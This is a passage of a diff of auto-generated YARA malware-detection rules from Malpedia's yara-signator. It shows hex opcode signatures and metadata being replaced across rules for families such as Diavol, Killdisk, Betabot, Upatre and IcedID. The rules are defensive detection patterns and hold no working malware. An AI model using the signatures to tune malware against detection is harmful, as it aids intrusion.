-		$sequence_3 = { 48c7c102000080 897c2420 ff15???????? 85c0 740c 8bc8 ff15???????? }
-		$sequence_4 = { 488d1519de0000 488d0df2dd0000 e8???????? 488d1516de0000 488d0d07de0000 e8???????? 488b4308 }
-		$sequence_5 = { 4881c490000000 5d c3 4053 4883ec20 488bd9 }
-		$sequence_6 = { 660f28c1 4c8d0dfb9e0000 f20f101d???????? f20f100d???????? f20f59da }
-		$sequence_7 = { 85c0 0f8502010000 837c243c04 7516 }
-		$sequence_8 = { eb19 488d3d3a440100 eb10 488d3d41440100 eb07 488d3d20440100 4883a4248000000000 }
-		$sequence_9 = { 75ed 488bcb 85d2 7507 e8???????? eb08 498bd1 }
+		$sequence_0 = { e8???????? 59 59 6a01 8d452c }
+		$sequence_1 = { eb1a 83f802 7513 83ec0c 8d4660 8bcc 50 }
+		$sequence_2 = { ff7508 8d85fcfeffff 50 e8???????? 59 59 85c0 }
+		$sequence_3 = { ff15???????? 8d4df4 e8???????? 8d4d08 e8???????? 5e }
+		$sequence_4 = { e8???????? 59 59 895e1c ff15???????? 8bce 899ec0000000 }
+		$sequence_5 = { ff15???????? 8bce 899ec0000000 e8???????? 85c0 750e }
+		$sequence_6 = { 837d0800 7424 837d0c00 741e ff7510 ff750c }
+		$sequence_7 = { 50 8bce e8???????? 85c0 74d9 ff75e8 8d4df0 }
+		$sequence_8 = { 6a00 68???????? 53 ffd7 ff7570 ff15???????? e9???????? }
+		$sequence_9 = { 83c414 50 8d4f6c e8???????? }
 
 	condition:
-		7 of them and filesize <339968
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Onhat_Auto : FILE
+rule MALPEDIA_Win_Ahtapot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "59032243-71bc-5ccf-a304-ec07259d2d04"
+		id = "b3228dcd-5cf8-5afe-a611-92ad75d7ce7a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.onhat_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ahtapot_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "0a14e4700b595808dab4fc1d09b95f2e90fdba52a26f4d889c5bc554e4997af3"
+		logic_hash = "69c00171f493e14b569002ab8197f5ff4c272ce4e4b6b3103d5b52b14a5be8a4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171930,32 +178994,32 @@ rule MALPEDIA_Win_Onhat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? e8???????? 83c404 b806000080 5f 5e 5d }
-		$sequence_1 = { c684242c01000048 889c242d010000 c684242e01000045 c684242f0100004e }
-		$sequence_2 = { 8d7c2414 bee8030000 f3ab 8b8c2424010000 b8d34d6210 f7e1 c1ea06 }
-		$sequence_3 = { 88542408 f3ab 8b8c240c200000 88542406 66ab aa 8d842410200000 }
-		$sequence_4 = { 57 32d2 b9ff070000 33c0 8d7c2409 88542408 }
-		$sequence_5 = { 53 ff15???????? 8bf0 3bf3 7526 }
-		$sequence_6 = { 33c9 8a4c2432 8ac7 52 50 c1eb18 51 }
-		$sequence_7 = { 8d7710 6a00 8d842424010000 56 50 51 e8???????? }
-		$sequence_8 = { 8d54241c 55 55 52 68???????? 55 55 }
-		$sequence_9 = { c644242852 c644242955 885c242a c644242b41 c644242c44 c644242d44 c644242e52 }
+		$sequence_0 = { 80e17f 3008 8b06 8bc8 c1f905 8b0c8dc0f24200 83e01f }
+		$sequence_1 = { c686c312000001 e9???????? 6a00 6a00 56 68???????? 6a00 }
+		$sequence_2 = { 740b 8d85f0fdffff e8???????? 56 8d95f0fdffff 68???????? 52 }
+		$sequence_3 = { 8d95f0fdffff 52 ff15???????? 83f8ff 0f8585000000 8d837c060000 50 }
+		$sequence_4 = { 8d8e6c020000 51 8d95acf1ffff 68???????? }
+		$sequence_5 = { 8d3c85c0f24200 8bf3 83e61f c1e606 8b07 0fbe440604 83e001 }
+		$sequence_6 = { 8b958cf3ffff 8b8578f3ffff 8d8da8f3ffff 51 52 68???????? }
+		$sequence_7 = { 8b5df0 8bf0 8b45ec 8d140b 52 50 56 }
+		$sequence_8 = { 83c404 8b1d???????? 8d95bcf9ffff 52 ffd3 8b859cf1ffff }
+		$sequence_9 = { e8???????? 68???????? 8d55ec 52 8975f8 897dfc c745ec20a04200 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <430080
 }
-rule MALPEDIA_Win_Stealer_0X3401_Auto : FILE
+rule MALPEDIA_Win_Diavol_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bb4f4861-3b94-5ae9-a941-991186118cf0"
+		id = "fdab7e4d-8bbf-526f-9dd1-9c3eccb8a369"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stealer_0x3401_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.diavol_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "5581efed5fdecbce8348574e847d7eb07ab8e38c2ac3e166eb58c72b5a5419d5"
+		logic_hash = "8bc41d08eecdbb842d56f4530baf282b624ea1b70952493cedafeb9a5a3b5234"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171969,34 +179033,34 @@ rule MALPEDIA_Win_Stealer_0X3401_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 03f2 8bd6 85f6 7e37 8d8d5cfeffff e8???????? }
-		$sequence_1 = { 53 e8???????? 83c41c c74424280f000000 c744242400000000 c644241400 803b00 }
-		$sequence_2 = { 5f 894df0 8b34cd50fa0110 8b4d08 6a5a 2bce }
-		$sequence_3 = { 83781410 7202 8b00 ffb57cfdffff }
-		$sequence_4 = { c745fc05000000 8d8d5cffffff e8???????? c645fc06 83781410 7202 }
-		$sequence_5 = { 8b8db87dffff 40 3d00100000 722a f6c11f }
-		$sequence_6 = { 64a300000000 8b35???????? 8d8574ffffff 50 6a00 }
-		$sequence_7 = { 8d8598feffff 3bc3 7435 8bc8 e8???????? }
-		$sequence_8 = { 8d4c2434 e8???????? 53 e8???????? 83c404 8d44242c 8bcf }
-		$sequence_9 = { ffb5843fffff ffd7 83bd803fffff00 0f84ec000000 6a12 68???????? b9???????? }
+		$sequence_0 = { ff15???????? 8bf0 83feff 0f8474010000 }
+		$sequence_1 = { 8d8df8fdffff 51 b9???????? e8???????? 83c404 84c0 }
+		$sequence_2 = { 74cf 8bc7 ebce 66833800 7520 }
+		$sequence_3 = { e8???????? 8b4df8 83c40c 5f 5e 33cd b001 }
+		$sequence_4 = { 83fb01 7503 894df8 8b4d10 8bc3 }
+		$sequence_5 = { 752c 6a02 53 ff15???????? }
+		$sequence_6 = { e8???????? 83c40c 8b4dfc 5f 5e 33cd b001 }
+		$sequence_7 = { 6a10 46 8d843594f7ffff 68???????? 50 e8???????? }
+		$sequence_8 = { 8d45e4 50 8bc8 51 57 8bd0 }
+		$sequence_9 = { 0f84ee000000 53 57 33db 8d9b00000000 }
 
 	condition:
-		7 of them and filesize <357376
+		7 of them and filesize <191488
 }
-rule MALPEDIA_Win_Karius_Auto : FILE
+rule MALPEDIA_Win_Cryptic_Convo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ed0a7186-5551-553c-ac59-b131d3af72d8"
+		id = "c0d84b8c-dd86-5e0b-b294-081ee84952b7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karius"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.karius_auto.yar#L1-L249"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptic_convo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptic_convo_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "b146425f067402ca1aeb5e04aa4caed2d124eb5c4ba40f66c5f112d8e9115a94"
+		logic_hash = "39890a4d7eaef0b28d86a0d6d65ec4ed011fdfc3e00013a201ada7ffacfd1cd9"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -172008,49 +179072,32 @@ rule MALPEDIA_Win_Karius_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c8b8424a0000000 bf01000000 8bd7 498bce ffd3 4183bf8c00000000 }
-		$sequence_1 = { 4d03d6 448bcd 85db 0f8477000000 8bb424b0000000 }
-		$sequence_2 = { 0f84b3000000 458b9f88000000 4d03de 418b5b18 85db }
-		$sequence_3 = { ffd3 4183bf8c00000000 0f84b3000000 458b9f88000000 }
-		$sequence_4 = { 488b05???????? 4885c0 7512 ff15???????? 488905???????? }
-		$sequence_5 = { 8bb424b0000000 418b10 8bcd 4903d6 0fb602 }
-		$sequence_6 = { c3 85c0 7505 e8???????? b801000000 }
-		$sequence_7 = { 85db 0f849d000000 41837b1400 0f8492000000 }
-		$sequence_8 = { 0f8492000000 458b4320 458b5324 33ed 4d03c6 4d03d6 }
-		$sequence_9 = { 8d7b01 448bfb 448be3 4885c9 }
-		$sequence_10 = { 56 be???????? 33d2 8a040a 3a06 7522 }
-		$sequence_11 = { 83e830 89450c db450c 8a07 d9ca d8c9 }
-		$sequence_12 = { b801000000 8702 83f801 74f4 }
-		$sequence_13 = { 752c 8a4701 3c30 7c25 3c39 }
-		$sequence_14 = { 488d4b10 488d542450 41b804000000 c6430f68 }
-		$sequence_15 = { 4d8bcf 33d2 41b800001000 488bce }
-		$sequence_16 = { 803e5d 7508 5f 5b 8d4601 5e }
-		$sequence_17 = { 7505 8d7b02 eb09 6685c0 }
-		$sequence_18 = { 8d7308 56 ffd7 50 56 e8???????? }
-		$sequence_19 = { ff15???????? 4c8be8 498bce ff15???????? 4d85ed }
-		$sequence_20 = { 8b4dfc 83c404 8945f4 83c706 050024ffff }
-		$sequence_21 = { 4d8bc7 488bd0 488bce ff15???????? }
-		$sequence_22 = { e9???????? 8b45f8 5f 5b 5e }
-		$sequence_23 = { 8b4508 85c0 7417 8b4008 85c0 7412 8b4d0c }
-		$sequence_24 = { 7405 f60001 7502 33c0 }
-		$sequence_25 = { 448bc0 33d2 488bce ff15???????? 4c8bf0 4885c0 }
-		$sequence_26 = { 48895c2420 4d8bcc 4d8bc7 488bd0 }
+		$sequence_0 = { 8bf8 ffd6 85ff 7515 8d45e8 68???????? }
+		$sequence_1 = { 75f9 8dbddcfaffff 2bc2 4f 8a4f01 }
+		$sequence_2 = { 399e88000000 7445 399e8c000000 743d 6a40 6800300000 ff7510 }
+		$sequence_3 = { c20400 0fb7442404 ff742408 50 e8???????? c20800 }
+		$sequence_4 = { 50 6a01 6a00 68???????? 57 ffd3 85c0 }
+		$sequence_5 = { a4 33c0 8a88d0474000 884c05e8 40 84c9 }
+		$sequence_6 = { f3a4 8dbddcfaffff 4f 8a4701 47 84c0 75f8 }
+		$sequence_7 = { 85c0 7407 c605????????01 be???????? 8d7d98 a5 66a5 }
+		$sequence_8 = { 894584 ffd6 53 57 89458c ff15???????? }
+		$sequence_9 = { 8d45c8 66a5 50 53 }
 
 	condition:
-		7 of them and filesize <434176
+		7 of them and filesize <97280
 }
-rule MALPEDIA_Win_Webc2_Greencat_Auto : FILE
+rule MALPEDIA_Win_Upatre_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "60cc7c89-f223-5f05-b50e-ef8d73401362"
+		id = "1628c1f9-1d48-5501-a98b-2c8f976e35eb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_greencat_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.upatre_auto.yar#L1-L164"
 		license_url = "N/A"
-		logic_hash = "e9fd4938930988d9b35f1bca39290f31fad2f360914fa390eec34fabf9934b56"
+		logic_hash = "ec286f640db5a5b7bffd2eededa524e0947ea3452d78b30e2aeb2f315c32ce53"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172064,32 +179111,38 @@ rule MALPEDIA_Win_Webc2_Greencat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 50 e8???????? 59 8bd8 59 eb03 }
-		$sequence_1 = { 59 59 e9???????? ff35???????? ff15???????? 3bc6 }
-		$sequence_2 = { 33f6 895df4 8d450c 50 ff35???????? ff15???????? 817d0c03010000 }
-		$sequence_3 = { 395ddc 752d 391d???????? 7525 3bf3 7521 }
-		$sequence_4 = { e8???????? 83c418 53 6a02 }
-		$sequence_5 = { 8d85fcfeffff 33ff 6804010000 50 }
-		$sequence_6 = { 50 53 ff15???????? 33c9 8945f0 }
-		$sequence_7 = { 8bf0 395ddc 752d 391d???????? 7525 3bf3 7521 }
-		$sequence_8 = { ff75fc ff15???????? 83c428 53 6880000000 }
-		$sequence_9 = { 0fbe4007 83e830 8945f8 8d85f8fdffff 50 }
+		$sequence_0 = { 66ab 33c0 66ab bbff0f0000 8b75f0 }
+		$sequence_1 = { 8945fc 8bd8 03c1 8bf8 33c0 }
+		$sequence_2 = { 894d90 8b4d8c 85c9 7501 c3 57 }
+		$sequence_3 = { 7414 4e 56 ff75f0 }
+		$sequence_4 = { 0430 66ab 81c60e010000 ac }
+		$sequence_5 = { 8945ec 6a00 8d4dc0 51 ff75e0 ff75bc ff75ec }
+		$sequence_6 = { 895d98 8bfb 03d8 b91c010000 }
+		$sequence_7 = { b900100000 03c1 8945f0 03c1 }
+		$sequence_8 = { 83c008 8945bc 8b4dbc 8b5104 52 }
+		$sequence_9 = { 8b55d4 8b440a1c 8945f4 8b4df0 }
+		$sequence_10 = { 0f94c0 85c0 7436 8b4dd8 83c102 2b4de8 }
+		$sequence_11 = { e3c9 1bb6aeaca844 bbcdcc70e8 739c d4ef }
+		$sequence_12 = { eb2b 8b4df4 8b510c 52 e8???????? 83c404 0fb7c0 }
+		$sequence_13 = { 8b4508 0345f0 0fbe08 8b5510 0faf55f8 0faf55f0 33ca }
+		$sequence_14 = { 8945dc 8b4ddc 668b11 668955f0 0fb745f0 }
+		$sequence_15 = { 894df4 8b55f4 3b550c 7d28 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <294912
 }
-rule MALPEDIA_Win_Clambling_Auto : FILE
+rule MALPEDIA_Win_Carrotball_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "55c68f1e-9478-508c-963a-a6b0515c5aac"
+		id = "8d1dffb9-f801-5b51-998b-8e4431af5d29"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clambling"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.clambling_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.carrotball_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "bda71815f9f64d048a93fa253b5199d20d6e6d47cb677b3884b8c43571e95a8e"
+		logic_hash = "8cb2e3b01c31931d0c5f23b61551aa799de8dd787a3493373f0ac01ba6f109d9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172103,32 +179156,32 @@ rule MALPEDIA_Win_Clambling_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6689bc24b0000000 ff15???????? 3bc7 7508 }
-		$sequence_1 = { 488bd9 498d53e8 418d4802 498943f0 ff15???????? }
-		$sequence_2 = { 751b e9???????? bb46270000 eb0f ff15???????? 8bd8 eb05 }
-		$sequence_3 = { 3bc3 751f 8b4c2428 488d942490020000 ff15???????? }
-		$sequence_4 = { eb0f ff15???????? 8bd8 eb05 bbc7040000 }
-		$sequence_5 = { 7507 66893d???????? 488b0d???????? 488d542430 ff15???????? 448b442430 }
-		$sequence_6 = { 7408 488bcb e8???????? 488b5c2458 }
-		$sequence_7 = { 4c8d442430 33d2 c744243001000000 c744243c02000000 ff15???????? 85c0 }
-		$sequence_8 = { b8b4050000 eb13 488b03 488bd7 488bcb }
-		$sequence_9 = { 41b805000000 48894c2420 33c9 8bd5 }
+		$sequence_0 = { ff15???????? eb36 68???????? 56 ff15???????? }
+		$sequence_1 = { 6a04 58 6bc000 c7807430001002000000 6a04 }
+		$sequence_2 = { 5f 8b4dfc 33cd 33c0 e8???????? 8be5 5d }
+		$sequence_3 = { ffd6 5e 5f 8b4dfc 33cd 33c0 }
+		$sequence_4 = { 68???????? ff15???????? eb36 68???????? 56 }
+		$sequence_5 = { 8bf0 85f6 0f84ac000000 68???????? }
+		$sequence_6 = { 56 ff15???????? 85c0 7432 8d85ecfdffff }
+		$sequence_7 = { ff15???????? 8bf8 85ff 0f84d9000000 56 }
+		$sequence_8 = { ff15???????? 8bf0 85f6 0f84ac000000 68???????? 56 ff15???????? }
+		$sequence_9 = { 6bc000 c7807430001002000000 6a04 58 6bc000 }
 
 	condition:
-		7 of them and filesize <412672
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Rekoobew_Auto : FILE
+rule MALPEDIA_Win_Killdisk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "73ccfc35-4eed-5955-a644-c948264eda18"
+		id = "fd586ea1-d41c-50af-ab00-4c3fd6d8b593"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rekoobew_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.killdisk_auto.yar#L1-L172"
 		license_url = "N/A"
-		logic_hash = "445ddabcfd3896aee22b87d60b9d2106a9693bf00a56789028f0bf36c80e8900"
+		logic_hash = "5e0faf26e496f52d500cc74a0d402009c944ca198565834d2511070577fb34d3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172142,32 +179195,38 @@ rule MALPEDIA_Win_Rekoobew_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 337dec 337dd0 d1c7 897db8 8d8c39dcbc1b8f 894df0 89c1 }
-		$sequence_1 = { 89e5 57 56 53 81ecbc000000 e8???????? 8945e0 }
-		$sequence_2 = { 89df 0fb63482 c1e618 0fb65c8201 }
-		$sequence_3 = { 8b1c9de0944000 c1e310 31df 8b4dd8 0fb6dd 8b1c9de0944000 c1e308 }
-		$sequence_4 = { 7409 3b7510 0f8fd3000000 0fb645e8 c1e004 89c7 b8ffffffff }
-		$sequence_5 = { c744240808000000 89742404 891c24 e8???????? c744240804000000 897c2404 891c24 }
-		$sequence_6 = { 8b3c95e07c4000 33bb54010000 8b55f0 c1ea18 333c95e0704000 89f2 c1ea10 }
-		$sequence_7 = { 56 53 83ec5c 8b450c 0fb65003 0fb638 }
-		$sequence_8 = { 89f1 31d1 31d9 8d0c0f 89c7 c1c705 01f9 }
-		$sequence_9 = { 895008 8b500c 89d6 c1ee18 8b3cb5e0944000 89d6 }
+		$sequence_0 = { 8d4604 7204 8b08 eb02 8bc8 66891c51 }
+		$sequence_1 = { 0f8424020000 8d4c245c b8???????? 8d642400 668b10 }
+		$sequence_2 = { 881438 e8???????? 9c c6442408cf 894508 e9???????? }
+		$sequence_3 = { 88742408 c70424ba7bbfa4 660fbae408 662dca11 e8???????? 881438 e8???????? }
+		$sequence_4 = { 83c40c 68???????? 68e08fc201 e8???????? 8bf0 }
+		$sequence_5 = { 8f44241c c64424148e c644240426 e8???????? 4e e8???????? 54 }
+		$sequence_6 = { c3 50 ff15???????? 8b8c24d41a0000 }
+		$sequence_7 = { 872d???????? 0fc1c2 89e2 66d3c9 66d3c0 }
+		$sequence_8 = { e8???????? 84c0 751a a1???????? 50 6802000080 }
+		$sequence_9 = { b001 5e 59 c3 837f1800 7413 }
+		$sequence_10 = { e8???????? 83c420 6a00 8d442414 }
+		$sequence_11 = { 46 66892c24 9c 8d64244c e9???????? 9c 9c }
+		$sequence_12 = { 9c 8d642430 e9???????? ff742404 66894500 }
+		$sequence_13 = { 8d642454 e9???????? 880424 8774242c 9c 68a12348dd e8???????? }
+		$sequence_14 = { 66897c240c 882c24 c64424044f 8d642454 e9???????? }
+		$sequence_15 = { 56 e8???????? c1f805 56 8d3c85a098c201 }
 
 	condition:
-		7 of them and filesize <248832
+		7 of them and filesize <10817536
 }
-rule MALPEDIA_Win_Unidentified_092_Auto : FILE
+rule MALPEDIA_Win_Betabot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7e18dd30-6337-5c36-a898-b23460fa3b1e"
+		id = "66328af7-8459-5b35-88d1-7e63b7ee5eb4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_092_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.betabot_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "2159e4ff6c9c542892316c91029887360b4aa3e31c90494be3422bea5bef7c7b"
+		logic_hash = "51b7b8c3c50a8d4a628d1b4c5d49a49007142cba41644cf909b7bfdb76b9cbc5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172181,32 +179240,32 @@ rule MALPEDIA_Win_Unidentified_092_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c78520ffffff00000000 c68510ffffff00 83f810 7241 8b8df8feffff 40 3d00100000 }
-		$sequence_1 = { 723f 8b4c2464 40 3d00100000 722a f6c11f 0f850b010000 }
-		$sequence_2 = { 33f1 8b7df8 0375a4 8bd3 8b5dfc f7d2 8b4de8 }
-		$sequence_3 = { 8b41fc 3bc1 0f83de020000 2bc8 83f904 0f82d3020000 83f923 }
-		$sequence_4 = { 0155ec c1c107 33f1 8bcb 8bd3 }
-		$sequence_5 = { 56 52 50 8b08 ff511c c745fcffffffff 83ceff }
-		$sequence_6 = { 8d8558ffffff 50 0f118568ffffff ffd3 c645fc03 83ec10 }
-		$sequence_7 = { 8bc3 c1c007 8bcb 33d0 897508 f7d1 8bc3 }
-		$sequence_8 = { 83ee01 75e9 8b85e4fbffff 83f814 }
-		$sequence_9 = { 50 56 ffd3 85c0 7f38 68???????? }
+		$sequence_0 = { 8d85e4f7ffff 89bde8f7ffff 50 33ff 56 47 56 }
+		$sequence_1 = { 8d44244c 50 ff15???????? 8d442448 50 e8???????? 8d442448 }
+		$sequence_2 = { 32c0 e9???????? 6a40 5e e8???????? a3???????? }
+		$sequence_3 = { 884617 2407 80fa40 7413 80fa80 7404 }
+		$sequence_4 = { 85c0 7503 6afd 58 5f 5e 5b }
+		$sequence_5 = { c20400 55 8bec 83ec18 53 56 8365f800 }
+		$sequence_6 = { a1???????? 85c0 740b 8d4dfc 51 ff7508 ffd0 }
+		$sequence_7 = { bbb0040000 85f6 7433 a1???????? 48 50 }
+		$sequence_8 = { 8a460a 3cb9 740c 3c33 7408 c70302000000 eb34 }
+		$sequence_9 = { 7470 66397508 746a 6a02 59 ff7508 66894de8 }
 
 	condition:
-		7 of them and filesize <10202112
+		7 of them and filesize <835584
 }
-rule MALPEDIA_Win_Unidentified_104_Auto : FILE
+rule MALPEDIA_Win_Merdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e8a556d0-f78d-5a2d-8efe-d7e4f2e8c4f0"
+		id = "a99af5cd-bc04-5bf5-95d0-af03ff89050f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_104_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.merdoor_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "e638b20b38ac304bb33832304ee0b9b7e6ee0e08465f3d2f98dbc6a372f89d7d"
+		logic_hash = "b95cd242972456e72e114f53ab84ee24aaf18f568fbe98e73f19f67ea1e8459f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172220,32 +179279,32 @@ rule MALPEDIA_Win_Unidentified_104_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c8d0d20070100 33c9 4c8d050f070100 488d1510070100 e8???????? 4885c0 }
-		$sequence_1 = { 4c03e9 4d33cd 498bd9 49c1e918 48c1e328 4933d9 4803c3 }
-		$sequence_2 = { 410fb6401b 4c0bc8 410fb6401a 49c1e108 4c0bc8 49c1e104 4c03c9 }
-		$sequence_3 = { 48c1e128 4933c9 4c8b8c2490000000 498b8180000000 4803c1 4803e8 4c33c5 }
-		$sequence_4 = { 4883fa10 0f8288000000 48ffc2 488b4dc7 488bc1 483bd7 728f }
-		$sequence_5 = { 415d 415c 5f 5e 5d c3 488d5ed8 }
-		$sequence_6 = { 418848fe c1e810 c1e918 418800 41884801 4d8d4004 4983e901 }
-		$sequence_7 = { e8???????? 33c0 4883c420 5b c3 8bd3 488bc8 }
-		$sequence_8 = { 49c1e330 4c33da 4903f3 4889b424a0000000 4833ce 488b742418 488bd1 }
-		$sequence_9 = { 7230 48ffc2 488b8dc0000000 488bc1 4881fa00100000 7215 }
+		$sequence_0 = { 5e 3bc8 7215 50 8d8398000000 50 6aff }
+		$sequence_1 = { 8d85f0fdffff 8bcb 50 e8???????? 8b4dfc f7d8 5f }
+		$sequence_2 = { 8ac1 eb04 b011 2ac1 f6d0 fec1 }
+		$sequence_3 = { 0f87af000000 8d8ee4020000 894df4 7443 8b01 8bf0 8bd0 }
+		$sequence_4 = { ffd7 8986c0000000 83bec400000000 750f 8d4588 }
+		$sequence_5 = { 3044159c 42 80f90f 72da 660f6f05???????? 32c9 f30f7f853cffffff }
+		$sequence_6 = { 85c0 751c 8d85ecfeffff 50 ff15???????? 8b400c 8b00 }
+		$sequence_7 = { 85c0 7403 8d3410 8b440b10 85c0 7438 }
+		$sequence_8 = { 53 56 8bf1 57 83cfff 8d9eec020000 53 }
+		$sequence_9 = { 8986c0000000 83bec400000000 750f 8d4588 50 ff7604 ffd7 }
 
 	condition:
-		7 of them and filesize <263168
+		7 of them and filesize <307200
 }
-rule MALPEDIA_Win_Tflower_Auto : FILE
+rule MALPEDIA_Win_Icedid_Downloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b4660b68-51d0-51ac-bbdd-acf4449bc6d1"
+		id = "1dc8b5e6-58e8-56f8-b32a-539ebf38d462"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tflower_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icedid_downloader_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "82eb88790bbfb711d9ea01573d045bd4c38f5ceb308c5ccacf5ea018abeab10b"
